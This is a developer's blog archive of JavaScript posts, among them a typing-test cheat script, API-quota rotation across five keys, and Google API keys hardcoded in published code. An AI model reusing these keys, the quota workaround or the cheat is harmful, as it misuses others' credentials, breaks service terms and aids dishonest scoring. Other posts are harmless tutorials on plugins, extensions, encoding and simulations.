Showing posts with label Javascript. Show all posts
Showing posts with label Javascript. Show all posts

Saturday, August 23, 2014

Making GalleryView items clickable with FancyBox

I am currently making use of the GalleryView jQuery plugin which feels great but it lacks a functionality that I needed: clicking on the images to show them in a modal dialog.

I therefore integrated a separate plugin called FancyBox that handles modal functionality beautifully.

To do this, I first did a minor change to jquery.galleryview.js, where I added the following underneath var img = $('<img />');:
img.attr('class', 'clickable');
img.attr('alt', gvImage.attrs.title);

This is so that I can access the images in the GalleryView image gallery whenever an image is clicked, and I reference them with a class clickable. I also fetch the description of the image and store it in the alt tag.

Then I simply hook to those images and open fancy box with the current image that's displayed on the slideshow:
$('.clickable').live('click', function(e){ 
    var img = $(this);
    var imgSrc = img.attr('src');
    var imgDesc = img.attr('alt');
    
    $.fancybox.open([ { href : imgSrc, title : imgDesc } ], { padding : 0 });
});

And here's a demo.

Friday, April 26, 2013

Using the Blogger API to search within a post's HTML content

A couple of months ago I wanted to switch the syntax highlighter I used to have on this blog to SunlightJS. Thing is though, I didn't want to go through every individual post I had written before and check whether they are using the (old) syntax highlighter to update their HTML markup.

Another problem was that the only way I would be able to truly know if a particular post is using the old syntax highlighter was by going through it's HTML content and determine whether the post currently has a tag like the following: <pre class="

The issue here is that the normal Google driven searchbox packaged with Blogger (the one you see on the right hand side) does not search through a posts' HTML content but rather through its textual content only which means it was useless for my task.

Because of this, I decided to write a script to semi-automate this task for me. The reason I say that the script semi-automates the job is because although I wanted it to show me all the posts in which I had used the old highlighter before, I could not risk making it to update the blog post automatically to use the new syntax highlighter because that would have involved HTML parsing and it was not worth the hassle. Besides, I didn't want to risk ruining my old posts because of a script fuckup.

So what the script does is it uses the Blogger API to batch-fetch all my previous blog posts, go through each posts' individual HTML content and notify me whether that particular post is using the old syntax highlighter. Searching is done using the regular expression engine and for my case, the function was pretty trivial:

getOccurences = function(haystack, needle) {
    var matches = haystack.match(new RegExp(needle, "g"));
    return matches ? matches.length: 0;
}

The Blogger API url I used to fetch my posts' details is as follows:

https://www.googleapis.com/blogger/v3/blogs/<blogid>/posts?key=<API key>

For the script to work I needed to provide it with three things:

Here's a demo of the script in action: http://jsfiddle.net/ydtuc/77/.

And this is how it looks like:


From the live demo (or the screenshot), you can see the output of the script in the bottom right pane. The script nicely formats each of the returned matches in a way that if I click on the #number of the post, it would take me to the actual blog post and clicking on the name of the post takes me to the Blogger editor for that current post so that I can easily update it. The number in parentheses next to the title of the post is the total number of occurrences the needle appears in the haystack.

This is the full script:

var key = 'AIzaSyCEsBaStg4bOHA2Yp75OqfbjBkk_kq0cMw',
    blogId = '7117612757607239790',
    baseMatcher = 'JavaScript', // the needle.
    allPosts = [],
    isProcessing,
    updateButton = $("#update"),
    update = (function (button) {
        var updateText = function (message, color) {
            button.attr("value", message);
            if (color) {
                button.css("color", color);
            }

        },
            revertButtonMessage = function () {
                changeButtonMessage("Update", "black");
            },
            changeButtonMessage = function (message, color) {
                var didIt;
                updateText(message, color);
                setTimeout(revertButtonMessage, 1000);
            },
            switchButtonMessage = function (message, color) {
                updateText(message, color);
            };

        return {
            changeButtonMessage: changeButtonMessage,
            switchButtonMessage: switchButtonMessage,
            revertButtonMessage: revertButtonMessage
        };
    }(updateButton)),
    formatLink = function (text, href) {
        return '<a href="' + href + '" target="_blank">' + text + '</a>';
    },
    getOccurences = function (haystack, needle) {
        var matches = haystack.match(new RegExp(needle, "g"));
        return matches ? matches.length : 0;
    },
    logger = (function () {
        var logs = $("#logs"),
            appendLine = function (line) {
                logs.append((line ? line : "") + "<br/>");
            };

        return {
            log: function (items) {
                appendLine('<span class="logHeader">Logs #' + new Date().getTime() + '</span>');
                appendLine();
                $.each(items, function (i, item) {
                    appendLine(formatLink('#' + i, item.url) + ': ' + formatLink(item.title, "http://www.blogger.com/blogger.g?blogID=" + blogId + "#editor/target=post;postID=" + item.id) + ' (' + getOccurences(item.content, baseMatcher) + ')');
                });
                appendLine();
            },
            clear: function () {
                logs.html('');
            }
        };
    }()),
    filter = function (items, predicateForPass) {
        var i = 0,
            j = items.length,
            item, passed = [],
            inc = 0;

        for (; i < j; ++i) {
            item = items[i];
            if (!predicateForPass(item)) {
                continue;
            }

            passed.push(item);
        }

        return passed;
    },
    getPosts = function (pageToken) {
        var url = 'https://www.googleapis.com/blogger/v3/blogs/' + blogId + '/posts?key=' + key,
            get = function (token) {
                var pagedUrl = url + (token ? ("&pageToken=" + token) : "");
                $.get(pagedUrl, function (response) {
                    var token = response.nextPageToken;
                    allPosts = allPosts.concat(response.items);

                    if (token) {
                        return get(token);
                    }

                    isProcessing = false;
                    update.changeButtonMessage("Finished", "green");
                    var filtered = filter(allPosts, function (item) {
                        var preTotal = getOccurences(item.content, baseMatcher),
                            preNewSyntaxHighlighter = getOccurences(item.content, baseMatcher + "sunlight");
                        return (preTotal - preNewSyntaxHighlighter) > 0;
                    });

                    console.log(filtered);
                    logger.clear();
                    logger.log(filtered);
                    allPosts.length = 0;
                });
            };

        update.switchButtonMessage("Getting posts...", "green");
        isProcessing = true;

        get(pageToken);
    };
updateButton.click(function () {
    if (isProcessing) {
        return update.changeButtonMessage("Busy; try again later", "red");
    }

    getPosts();
});

getPosts();

Sunday, September 23, 2012

Immediately-invoking functions with an exclamation point in JavaScript

Recently I had to make use of Twitter buttons and I noticed something particularly interesting in their bootstrap code:
!function(d,s,id){var ... }(document,"script","twitter-wjs");

What's interesting to note here is this incantation:
!function () {

}();

Notice how this looks awfully familiar to how one would normally express an immediately-invoked function:
(function () {

}());

In fact, they are fundamentally doing the same thing, yet the former is a byte shorter.


Note that this technique can be accomplished with the other unary operators as well:
-function(){}();
~function(){}();
+function(){}();

What's happening here is that the unary operators are turning a function declaration [function () {}] to a function expression [!function () {}], which can then be immediately-invoked.

One limitation to using this method is that you can't get back the output of the function, unless you are expecting a truthy/falsy value.

This is because the return value is coerced to a boolean when using the exclamation point and negated (since the function invocation has higher precedence, which is why this technique works), and you can't undo that boolean coercion operation on complex types, strings and numbers.

You can however undo the negation operation if you are expecting a truthy/falsy value by simply double negating the output: var truthy = !!function () { return 1; }();


Webroulette: Take me somewhere random!

So once again, what follows is the result of a weekend-project-during-the-week kind of thing.

Similar to chatroulette.com where you shuffle through random people, I wrote this so that you can shuffle through random websites instead:


You can also specify a single word to be used as a form of bias:


You can see it in action here: http://dreasgrech.com/upload/webroulette/.

Source code

As usual, the source for this project resides on github.

How it's done

In a nutshell, I basically do a Google Custom Search API call with a randomly constructed query and then show the first result from the collection of hits.

The server
On the server, I have a file of ~8.5k commonly used English words, and based on the length query string value, I select a number of these words in a random manner.

Note that I enforce a hard limit on the range for the allowed values of length; currently, the range is [0, 10]. If no length is specified, I default it to 3.

This is the word-list that I'm currently using is at http://dreasgrech.com/upload/webroulette/komuni.txt

If a bias is specified, I use it as the first word in the phrase and once this phrase is built, it's echoed so that it can be read by the client.

Here are some examples of the script in action:

http://dreasgrech.com/upload/webroulette/louie.php
http://dreasgrech.com/upload/webroulette/louie.php?bias=obfuscation
http://dreasgrech.com/upload/webroulette/louie.php?bias=douglasadams&length=6

The client
So what the client does is an Ajax call to this PHP script to get the query and then do an Ajax call to the Google Custom Search API to get a list of hits. Btw, I'm also using a query string which I termed iesux which I use for a unix timestamp, and I had to do this because calls to the same url were being cached by Internet Explorer and so I needed this timestamp to introduce variety to the urls.

What I then show on screen is the first result from the list of google hits from that query.

Why not embed an I'm Feeling Lucky link in the iframe?
Halfway during the project, I realized that this functionality is pretty similar to the I'm Feeling Lucky functionality that Google still offers (for some reason?).

I figured that this way, I would eliminate the need to use the API (which, btw, has a 100 queries a day limit) but instead use an I'm Feeling Lucky url (like http://www.google.com/search?&btnI=745&q=obfuscation) for the source of the iframe.

But after I tried a couple of queries like this, I realized that sometimes, an I'm Feeling Lucky url redirects to an actual Google Search page and since Google prevents their site to be rendered in an <iframe>, I was getting a lot of blank pages in the <iframe>...and that sucks.

What about the 100 query limit?
For the free offering of the Google Custom Search API, Google enforces a 100 queries per day (per project) limit.

To work around this, I created five projects (i.e. 5 API keys) and whenever someone loads the page, I serve one of the five keys at random. If it turns out that that particular key is used up, the client requests another API key.

You can also specify your own API key (make sure your that the the Custom Search API service is turned on) using the key query string, as follows:

http://dreasgrech.com/upload/webroulette/?key=AIzaSyCCv2V9wF1cO1uck19H5uuAodJ-Ml0rBgg

Monday, March 5, 2012

A run-length encoder in JavaScript

Run-length encoding is one of the most trivial forms of data compression methods. It works by combining runs of characters into a value containing the number of times that character is repeated in the run and the actual character itself.

So something like:
UUUXXXXXXXXXXXXXXXXXXXXTTTTTKKKKK
would be encoded to:
3U20X5T5K
In this case, the encoded version of the text has been reduced by ~73%. But note that there may be cases where the encoded text would end up larger than the actual (decoded) plain text; this happens when the text contains many isolated characters rather than runs of characters.

Take for example abcdefghijklmnopqrstuvwxyz (26 characters); if you 'compress' that using a run-length algorithm, you'll end up with 1a1b1c1d1e1f1g1h1i1j1k1l1m1n1o1p1q1r1s1t1u1v1w1x1y1z (52 characters) which is a 100% increase from the decoded version.

Source and demo

The source can be found at https://github.com/dreasgrech/runlength-js

And the demo of the encoder is at http://dreasgrech.com/upload/runlength/

Note that as of current, the code does not handle instances where the decoded text contains digits.


Wednesday, February 1, 2012

Creating POJOs in JavaScript

POJO stands for Plain Old Java Object, but in our case, it will be JavaScript instead of Java...Plain Old JavaScript Objects.

Sometimes in your code, you would need to create objects that are just containers for members (in OOP terms, these objects are usually referred to as classes).

As an example:
var dog = function (name, age) {
 return {
       name: name,
       age: age
 };
};
Now you can obviously write all this by hand, but you don't have to because you can write a function that makes use of JavaScript's dynamic nature to do it for you:
var pojo = function () {
    var members = arguments;

    return function () {
        var obj = {}, i = 0, j = members.length;
        for (; i < j; ++i) {
            obj[members[i]] = arguments[i];
        }

        return obj;
    };
};
And this is how it can be used:
var dog = pojo('name', 'age'), // create the POJO
    fido = dog('Fido', 2); // create an 'instance' of the POJO

// fido.name -> 'Fido'
// fido.age  -> 2

The pojo function is pretty straightforward. First we grab a reference to the arguments object (which contains the names of the members that we want to be in our object; ['name', 'age']) and then return a function which will serve as the initializer for our POJO object.

Once the inner initializer function is invoked from the outside (dog('Fido', 2)), we iterate through the member names we got from the initial arguments object to create a new object (obj) containing the member names and the values of the actual arguments that were passed to the inner function as their respective values.

If you only want a single 'instance' of the POJO, you can get away with a one-liner:
var fido = pojo('name', 'age')('Fido', 2);

Thursday, January 26, 2012

Promoting your Chrome extension with a yellow infobar

This is a jQuery plugin I wrote which emulates Chrome's infobar for promoting a Google Chrome extension.

The following are Chrome's infobar and the one I wrote for the plugin, respectively:

Demo

I've set up a small demo of the plugin here: http://www.dreasgrech.com/upload/extinfobar/.

Download

Until the jQuery plugins page is restored, you're gonna have to download this plugin directly from github.

The plugin can be found at the jQuery plugins site: http://plugins.jquery.com/extinfobar/

You can get the full source of the plugin from https://github.com/dreasgrech/ChromeExtInfoBar

These are all the images that you need:






Usage

The simplest way to use the plugin is to simply invoke it using just your Chrome extension ID:
$.fn.extInfobar({
    id: 'nbilgjjflfiiijecdjpnbganoiafneph'
});

You can also specify a custom message to be displayed on the infobar, as opposed to the default message:
$.fn.extInfobar({
    id: 'nbilgjjflfiiijecdjpnbganoiafneph',
    message: 'This is my custom message I want to show on the infobar'
});

There are three other optional parameters you can pass; redirectIfInstallFails, rememberClose and rememberRedirect. All three default to true if unspecified.
$.fn.extInfobar({
    id: 'nbilgjjflfiiijecdjpnbganoiafneph',
    message: 'This is my custom message I want to show on the infobar',
    redirectIfInstallFails: false,
    rememberClose: false,
    rememberRedirect: false
});

redirectIfInstallFails specifies whether the plugin should redirect the user to the extension's Chrome Webstore page if the installation happens to fail or if the site you're using the plugin on is not verified (more info on that below).

When the user clicks on the close button, the action is remembered via localStorage so that the bar is not displayed again for him but the rememberClose parameter allows you to override this functionality; so if you set it to false, the bar will keep appearing on subsequent page visits even if the user closed it.

The last parameter, rememberRedirect, is used to save the action of the plugin redirecting the user to the extension's Chrome Webstore; by default, the action is saved which means that once a user is redirected to the Chrome Webstore page, the bar will not be shown to him on subsequent visits to your page, but you can of course override this functionality by setting rememberRedirect to false.

How it works

The plugin makes use of Chrome's inline installation functionality, but note that this only works if your extension's website is verified and this plugin is invoked from the same domain as the verified site.

When you click on the 'Install' button on the infobar, and the context meets the two aforementioned criteria, the following modal dialog will pop up:


Otherwise, the user will be redirected directly to the extension's page on the Chrome Webstore (unless the redirectIfInstallFails option is explicitly set to false).


Making Facebook's Graph API work in Internet Explorer

I've encountered several issues while trying to get Facebook's Graph API work in IE.

As for my general setup, I was using jQuery's getJSON and a typical call looked something like the following:

$.getJSON('https://graph.facebook.com/13601226661?access_token=' + accessToken, function (response) {
    callback(response);
});

The first problem was that I was getting a No Transport when making a call to https://graph.facebook.com. The issue here was due to the fact that IE uses XDomainRequest and I ultimately resolved it by using the following workaround: https://github.com/jaubourg/ajaxHooks/blob/master/src/ajax/xdr.js.

This is because XDomainRequest is currently not supported in jQuery.



After including the xdr.js file, I started getting a different problem. Internet Explorer now started saying "Access is denied" whenever I make the AJAX call.

After some reading, I found out from here that:

7) Requests must be targeted to the same scheme as the hosting page.

Essentially this means that "[...] if your AJAX page is at http://example.com, then your target URL must also begin with HTTP. Similarly, if your AJAX page is at https://example.com, then your target URL must also begin with HTTPS".

And of course, I was making calls from http (my domain) to https (graphs.facebook), and that goes against the aforementioned point #7.

So what I first tried was to make a call to http://graphs.facebook.com instead (i.e. using http instead of https), and that works...but only when not using an access_token in your request; and I needed to include my token in all the requests.

And the solution to this problem was jsonp. With jsonp, IE allows the cross-domain requests. I'm not going to go into the details of jsonp in this post, and luckily, jQuery supports it natively since all you need to do is include callback=? as part of your request. This means that my calls now changed as follows:

$.getJSON('https://graph.facebook.com/13601226661?access_token=' + accessToken + '&callback=?', function (response) {
    callback(response);
});

Monday, January 9, 2012

Paste and Go - A Google Chrome extension

A functionality in browsers, specifically Google Chrome and Mozilla Firefox, which I find extremely comfortable is "Paste and Go".


This pastes in your clipboard contents in the address bar and submits it automatically at one go, which is a step less than pressing Paste and then submitting manually.

Because I like this functionality a lot, I decided to try and emulate it for input textboxes on websites with a Google Chrome extension.


Download

The extension is published at https://chrome.google.com/webstore/detail/nbilgjjflfiiijecdjpnbganoiafneph

And the source: https://github.com/dreasgrech/PasteAndGo

How it works

When invoking it (Right Click -> Paste and Go), the extension grabs reference to the input text box where you right clicked, clears its value and pastes in the contents of your clipboard.

It then searches for the closest <form> to your text box with jQuery's closest function and if it finds a form, it submits it.

Note that closest only traverses up the DOM tree, so it will not find <form>s which are either below (in the tree) or adjacent (siblings) to your input text box.

If no <form> is found, another approach is taken. This time, the extension searches for the closest button to your input text box and if it finds one, it clicks it. This time though, I couldn't use jQuery's closest since, most of the time, submit buttons in <form>s are placed after the input text box. Therefore, I wrote this function to find the 'closest' button:

var getClosestButton = function (el) {
        var buttons;
        while ((el = el.parent()).length) {
            buttons = el.find(":button, input[type=submit]"); // :button -> "input[type=button], button"

            if (buttons.length) {
                return buttons.eq(buttons.length - 1);
            }
        }
};

Once a button is found, a click event is simulated on it.

A word of caution

This extension may not always work as expected. This is because it assumes that the first <form> it finds closest (upwards only) to your input box is the correct form which needs to be submitted, or that the 'closest' button that's found near your input box is the button that needs to be clicked...and the extension may not always find the correct button or submit the correct form; although the later is very rarely an issue.

Therefore, use it at your own risk.

Here are some of the places where it worked successfully:
  • Facebook
  • docs.jquery.com
  • Stackoverflow
  • Twitter
  • Google
  • Yahoo!
  • Bing
  • YouTube
  • The Pirate Bay

And here are some of the sites in which it didn't work as expected:
  • Grooveshark
  • Gmail
  • CodePlex

Where did you try it, and did it work as expected?


Monday, November 7, 2011

Cheating at a typing test with JavaScript

So I just found this website called 10fastfingers and it has a typing game that measures your speed in WPM. I played with it for a while to see how fast I could really type but after I got bored keying in random words in a text box, I decided to spice things up a bit...by cheating; because hey, why not?



And so, I wrote two scripts to do the typing for me; sort of like secretaries. The first one just completes the test instantly, which guarantees that all the words available in the test are "typed in". The second one takes its time with a delay between each word, but it's more fun to look at because you actually get to see the words which are being completed.

The instant one

var words = document.getElementById('wordlist').innerHTML.split(/\|/),
    input = document.getElementById('inputfield'),
    pressEvent = document.createEvent("KeyboardEvent"),
    pressSpace = function () {
        pressEvent.initKeyEvent("keyup", true, true, window, false, false, false, false, 32, false);
        input.dispatchEvent(pressEvent);
    },
    go = function () {
        var i = 0,  j = words.length;
        for (; i < j; ++i) {
            input.value += words[i];
            pressSpace();
        }
    };

go();

This script is not very entertaining since it finishes the test almost instantly because it's using a for loop to go through the words.

Putting a delay

var words = document.getElementById('wordlist').innerHTML.split(/\|/),
    input = document.getElementById('inputfield'),
    timer = document.getElementById('timer'),
    pressEvent = document.createEvent("KeyboardEvent"),
    pressSpace = function () {
        pressEvent.initKeyEvent("keyup", true, true, window, false, false, false, false, 32, false);
        input.dispatchEvent(pressEvent);
    },
    go = function (delay) {
        var current = 0,
            worker = setInterval(function () {
                if (current == words.length || timer.className) {
                    clearInterval(worker);
                    return;
                }
                input.value += words[current++];
                pressSpace();
            }, delay);
    };

go(60000 / words.length);

This is a very slightly modified version of the first script which inserts a delay between each word that's "typed in". The delay, in milliseconds, is specified as an argument to the go function.

Running the scripts

To run the scripts, open Firefox, head over to to http://speedtest.10-fast-fingers.com/, launch Firebug and paste the script in the console.


Now press CTRL+ENTER and watch the magic happen.

Wednesday, October 26, 2011

A Chrome extension for plotting graphs with Wolfram|Alpha

This weekend I got round to writing a Google Chrome extension that aids you in plotting graphs from Wolfram|Alpha. The extension simply takes the parameters you input, constructs a url to Wolfram|alpha and then opens a new tab with that url.


If you wanna give it a go, I published it on the Chrome Web Store.

I've also put the source up at github: https://github.com/dreasgrech/wolframalpha-graphplotter

Sunday, October 2, 2011

A State Manager in JavaScript

The following is an implementation for a state manager written in JavaScript. More than one state can be "on" at one moment but mutual exclusivity rules can be set up to allow certain states to not be "on" at the same time i.e. if one of the states is switched on while the other is already on, the latter will be switched off since they can't be both on at the same time.

It also supports two hooks which can be used if you want to be notified when states are changed.

It's implemented with a fluent interface to allow for method-chaining.

The source is here: https://github.com/dreasgrech/statemanager-js

I've set up a simple demo to show how it can be used. You can view it here: http://dreasgrech.com/upload/statemanager-js/demo.html


Basic Usage

var state = stateManager();
state.turnOn("state 1", "state 2");

state.on("state 1"); // true
state.on("state 2"); // true
state.on("state 3"); // false

state.toggle("state 2"); // "state 2" is now off
state.on("state 2"); // false
toggle returns the new state after it's been toggled.

Mutual Exclusivity

var state = stateManager();

state.mutex("state 1", "state 3"); // "state 1" and "state 2" now cannot be both on at the same time
state.mutex("state 2", "state 3"); // "state 2" and "state 3" now cannot be both on at the same time

state.turnOn("state 1");
state.turnOn("state 3"); // "state 1" will now be turned off since 1 and 3 are mutually exclusive
state.turnOn("state 1"); // turning "state 1" on, but switching "state 3" off for the same reason
state.turnOn("state 2"); // if "state 3" was on at this point, it would have been switched off

Hooks

var state = stateManager();

state.onStateChanged(function (state, value) { // The global event; fires every time a state changes
  console.log(state + " is now " + value);
});

state.onStateChanged("state 1", function (value) { // The event that will only fire when "state 1" changes
  console.log("[Custom hook] state 1 has been changed.  New value: " + value); 
});

state.turnOn("state 1");
state.turnOn("state 3", "state 2"); 
state.toggle("state 1"); 
state.turnOn("state 2"); 
Output:
state 1 is now 1
[Custom hook] state 1 has been changed. New value: 1
state 3 is now 1
state 2 is now 1
state 1 is now 0
[Custom hook] state 1 has been changed. New value: 0
Note that the onStateChanged event fires only when a state changes. For example, if you turnOn("state 2") while "state 2" is already on, the event will not fire. The same goes for when a state is off and you try to turnOff.

Saturday, October 1, 2011

Function composition in JavaScript

Function composition is the application of a result of a function as input to another function. Say we have the following three functions:


Composing functions f, g and h respectively means that we pass the output from function h as the input to function g and then passing the output from g as the input to function f. Mathematically, it would be represented as follows:


That's essentially the same as:


Functions in JavaScript are first class citizens. This means that they can be stored in variables and data structures, passed as an argument to functions and also returned from functions. This means that we can easily implement function composition in JavaScript with a very trivial function:

Function.prototype.compose || (Function.prototype.compose = function (f) {
    var g = this;
    return function () {
        return g(f.apply(null, arguments));
    };
});

Here's an example of how we can use it by composing three functions that represent the three polynomials mentioned at the start of the post:
var f = function (x) {
    return x*x - x + 5;
}, g = function (x) {
    return x*x + 3*x - 2;
}, h = function (x) {
    return x*x*x - 2*(x*x) + x -1;
};

Composing them together would then be:
var composed = f.compose(g).compose(h);

The result of the composed function is now the same as the result of f(g(h(x))):
composed(x) === f(g(h(x))); // true

If we had a function f and its inverse f-1 and we compose them, we should get the original input x:
var f = function (x) {
    return (x + 2) / 3 - x;
}, f_inverse = function (x) {
    return (2 - 3*x) / 2;
};

(f.compose(f_inverse)(x) || f_inverse.compose(f)(x) || x) === x;  // true


Thursday, September 29, 2011

JavaScript helpers: Iterating an array while skipping select elements

 
Array.prototype.iterate || (Array.prototype.iterate = function (callback, ignore) {
  var i = 0, j = this.length;
    for (; i < j; ++i) {
        if (ignore && ignore(this[i], i)) {
          continue;
        } 
        
        callback(this[i], i);
    }
});

Usage

Here's how we can use it to iterate over a couple of numbers, skipping over the even ones:
 
var arr = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10];

arr.iterate(function (el) {
  console.log(el);
}, function (el) {
  return !(el % 2);
});

Output:
1
3
5
7
9

Here's another example, this time involving objects:
 
var queen = function (reference) {
    return {
        ref: reference
    };
}, arr = [queen("Aragon"), queen("Boleyn"), queen("Seymour"), queen("Cleves"), queen("Howard"), queen("Parr")];

arr.iterate(function (el, i) {
  console.log(i, el.ref);  
}, function (q) {
  return q.ref === "Boleyn"  || q.ref === "Howard";
});
Output (the queens who died with their heads on):
0 Aragon
2 Seymour
3 Cleves
5 Parr

If no ignore function is passed as the second parameter of the iterate method, no elements are skipped:
 
var arr = ["Mr. Albert Show", "Fusion Orchestra", "Fuzzy Duck", "Minotaurus"];

arr.iterate(function (el, i) {
  console.log(el);  
});
Output
Mr. Albert Show
Fusion Orchestra
Fuzzy Duck
Minotaurus

Thursday, September 8, 2011

The Monty Hall game

After my last post on simulating the Monty Hall problem, I decided to go a step further and actually write the game itself. Since I wrote the simulation using JavaScript, I kept at it by writing the game using JavaScript by making use of the canvas element.

You can play the game here and find the source on Github: https://github.com/dreasgrech/The-Monty-Hall-Game.

The code leaves much to be desired but since this was a quick weekend project (...although some tweaks did spill over to the rest of the week), I didn't worry too much about it.

Screenshots




Saturday, September 3, 2011

Simulating the Monty Hall problem

You're on a game show and begin the game by having three doors in front of you. Behind one of the doors, lies the prize. You don't know which door is the winning door but the game show host knows.


You now randomly choose the door which you think has the prize behind it, but the door doesn't open for the time being. In this case, we are going to choose the middle door.


The game show host must now open one of the two remaining doors, and the door he chooses must not be the winning door. For this example, the game show host opens the door on the right.



The host now asks you if you want to stick with your first choice or switch to the remaining door.



Is it to your advantage to change your choice?




To test this out, I wrote some code using JavaScript to simulate playing a number of games and supplying me with the results of how many times it won when switching or not switching the chosen door upon given the choice. The initial guesses are all random.

Results

The following is the output for 5 runs with 10,000 games each:

Playing 10000 games
Wins when not switching door 3317
Wins when switching door 6738

Playing 10000 games
Wins when not switching door 3376
Wins when switching door 6735

Playing 10000 games
Wins when not switching door 3287
Wins when switching door 6726

Playing 10000 games
Wins when not switching door 3298
Wins when switching door 6664

Playing 10000 games
Wins when not switching door 3302
Wins when switching door 6674

These results show how the number of times you win when switching the door is approximately double the number of times you win when not switching the door.

This may seem counter intuitive at first as you may think that there's a 1/3 chance of winning, but as you can see from the above results, that's actually not the case. In fact, switching the door wins twice as often staying.


The same goes for when initially choosing Door 2 or Door 3:



Adapted from [Vos Savant, 1990]

Notice how, irrespective of which door you initially choose, you always have 2/3 chance of winning if you then switch.

The code

var totalGames = 10000,
     selectDoor = function () {
         return Math.floor(Math.random() * 3); // Choose a number from 0, 1 and 2.
     },
     games = (function () {
         var i = 0, games = [];

         for (; i < totalGames; ++i) {
             games.push(selectDoor()); // Pick a door which will hide the prize.
         }

         return games;
     }()),
     play = function (switchDoor) {
         var i = 0, j = games.length, winningDoor, randomGuess, totalTimesWon = 0;

         for (; i < j; ++i) {
             winningDoor = games[i];
             randomGuess = selectDoor();
             if ((randomGuess === winningDoor && !switchDoor) || 
                 (randomGuess !== winningDoor && switchDoor)) 
             {
                 /*
                  * If I initially guessed the winning door and didn't switch,
                  * or if I initially guessed a losing door but then switched,
                  * I've won.
                  *
                  * The only time I lose is when I initially guess the winning door 
                  * and then switch.
                  */

                 totalTimesWon++;
             }
         }
         return totalTimesWon;
     };

 /*
  * Start the simulation
  */

 console.log("Playing " + totalGames + " games");
 console.log("Wins when not switching door", play(false));
 console.log("Wins when switching door", play(true));

I've added this piece of code to the Monty Hall problem at the Rosetta Code website.

Friday, August 26, 2011

Balls to the Canvas!

To play around a bit with the canvas element, I decided to write this:



You can increase or decrease the number of balls on screen using the UP and DOWN arrows respectively.

View it in action


The source is here: https://github.com/dreasgrech/balls

Some implementation details

The background

To implement the colorful background, I'm using a cylindrical-coordinate representation of the RGB color model, known as HSV (Hue Saturation Value). Keeping the saturation and value to a constant 100 (max), I'm iterating through values 0-360 for the hue thus achieving the blending of colors. When the hue reaches 360, I reset it back to 0 and the cycle starts over.

The initial value of the hue is randomly chosen at the beginning.

Balls

All of the balls' attributes are randomly generated i.e. the initial position, size, color, speed and angle.

Since collision detection is only applied once the balls hit the edges of the browser window and the edges are axes aligned, I'm simply inverting the part of the velocity's depending to which edge is hit.

If the ball hits either the left or right edge, the x is inverted and if the ball hits the top or bottom edge, the y is inverted.

Resizing the window

I'm hooking to window.onresize so that once the browser window is resized, I adjust the width of the canvas appropriately and also remove the balls that are now out of screen.

Sunday, March 27, 2011

Finding the Answer (ab)using JavaScript

This is my little tribute to Douglas Adams (and also my first go at obfuscation):


vI=0x2A;(o=eval)((r=unescape)("%5F%5f%"+vI/+(+vI+'')[1]%6+"D%36%3b"))+o(r("%"+__+"1\
%6"+(ww=String["fromCharCode"])(69)+"%73%77%65%72%3D")+((~~[]+011>>!~~~(J=Math)[""]+
(Jan=isNaN)(+/\//[+[]*+-"1"]+""[-1])*~!-+(___=__/2)+2^!+!J['round'](![H=undefined]+1
+o((J+1).substr(!+(B=alert)+-!B+7<<.9-1,!/^/.$-~255>>(2*!o('('+(F='function(')+'ema\
cs){if((dreas=vI)>emacs){always=1}}(vI-5))')-~1*1-(+!(function(){o(arguments[__['co\
nstructor'].prototype*9]+"='"+arguments[0]+"'")}('$'+__))))*2)+"Magnum/* */"[!+''+7]
+".PI")^!H*!Jan(Jan)-+2+1))<<(!0x0-[010][dreas%2]/2+(4&4)+o("'.'+o(((1|__^4*2)+\"\"\
)[1])")<<+!+(c=NaN)<<1^~+!c*-___+(+J['floor'](~2)^-4))|/**/!![,]["le"+($$$=(parseInt
+2))[2]+"g"+$$$[4]+"h"]/**/*(o("o('~1+010+/*~*/~([][0,+$6[1]+2]-always|!{a:1}[0]+24\
<<1)%15<<~!J.ceil.call.apply(J.ceil,[1..toString()])+1')")+0xE^3<<1)>>+!o('('+F+'){\
_:if(!(_=!1)){return}}())')>>!null+_));o(r(["%42",(o+'')[13],answer,(r+'')[18],ww(59
)].                                   join                                    ('')))


If the layout screwed up, here's how it should look like:


Click here to run it.

Why?


tl;dr: it was fun.

Now basically, the code does 'nothing' except alert the number 42. Actually, the majority of the code is doing a calculation to come up with the number 42, and then alert it.

Removing a single character from the above code will either invalidate the output or invalidate the code itself with a syntax error (except from that redundant whitespace on the last line)...and that was actually quite tricky to do (and may not have fully achieved since it wasn't the plan from the beginning), but was part of the fun in creating this.

I was actually writing a script that would run through my code removing a single character each time and then running (eval) the script, but I didn't finish it because as it turns out, complicating shit can be pretty fun so I switched back to this.

But the major part of the fun was finding creative ways of complicating things. Yup, complicating things! It felt refreshingly good trying to, for a change, obscure the code as much as possible given that every character is needed for the ultimate outcome.

How?


For example, let's say I had a calculation which involved the number zero. Now, the way a sane programmer would represent a zero is by using the 0 literal representation. But that's obviously too boring for a project like this, so I would try and find new ways of representing the value of zero. An example would be something like +!!NaN, or maybe -{}>>1.

Of course, there's a reason why both those obscure representations evaluate to 0 and how my above code manages to compute and alert the number 42, and one way of finding out those reasons is by painstakingly analysing the spec.

If you don't have time to carefully go through those 252 pages, what you really need to grasp is JavaScript's type coercion rules due to weak typing...and then, abuse them mercilessly!

I'm not really going to get too much into JavaScript's type system in this post, but I will briefly explain why the above two examples I mentioned evaluate to 0.

Let's take -{}>>1 first. According to JavaScript's operator precedence rules, the unary negation sign is evaluated first, thus coercing {} into the special NaN value. Then the bitwise shift coerces the NaN value into a 0 (since NaN is falsy) and 0 >> 1 is 0.

Now for +!!NaN, starting with !NaN evaluating to the boolean value true because the logical not sign coerces the NaN value to the boolean value false, and the negation (logical-not) of false is true, so !!NaN evaluates to false because double negating false evaluates to true. Finally, since the + here is used as a unary operation and not binary, it coerces false to 0; and that's it!

Splitting it up


Up until the end, I was working on a single line with no whitespace but when I was sort of ready with obfuscating, I needed to split the lines up into some shape (remotely representing something)...a task which I figured to be trivial at best. But as I came to realize, splitting the code into multiple lines without introducing errors is far from trivial.

Reason being of course that you can't just split the line in whichever point you want because naturally keywords cannot be split and other restrictions of the language syntax restrict you from splitting certain constructs directly into multiple lines.

For example, say you have function(){return}, you can't for example split in the middle of the word function:
fun
ction(){return}

That will not compile, and neither will compile if you split the return keyword; you can split at any other part of the line though.

But I actually had the most trouble splitting property calls. Say you had to split [].constructor.prototype; now that's a bitch because of the two relatively long keywords in the expression.

How did I get around this? Simple. I switched from using dot-notation to subscript-notation, and since strings can be successfully split into multiple lines, it was much easier:

[]['constructor']['prototype']

Now if we wanted to split:

[]['construc\
tor']['prototype']

